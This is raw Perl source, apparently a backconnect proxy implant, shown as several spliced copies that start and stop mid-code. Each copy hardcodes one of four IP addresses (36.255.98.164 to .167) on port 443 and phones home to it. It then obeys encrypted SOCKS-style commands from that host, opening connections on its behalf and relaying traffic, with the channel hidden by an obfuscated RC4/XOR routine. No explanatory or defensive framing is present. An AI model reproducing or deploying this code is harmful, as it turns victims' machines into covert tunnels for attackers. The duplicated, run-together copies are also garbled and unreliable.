1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.167'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.166'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.165'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.164'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = 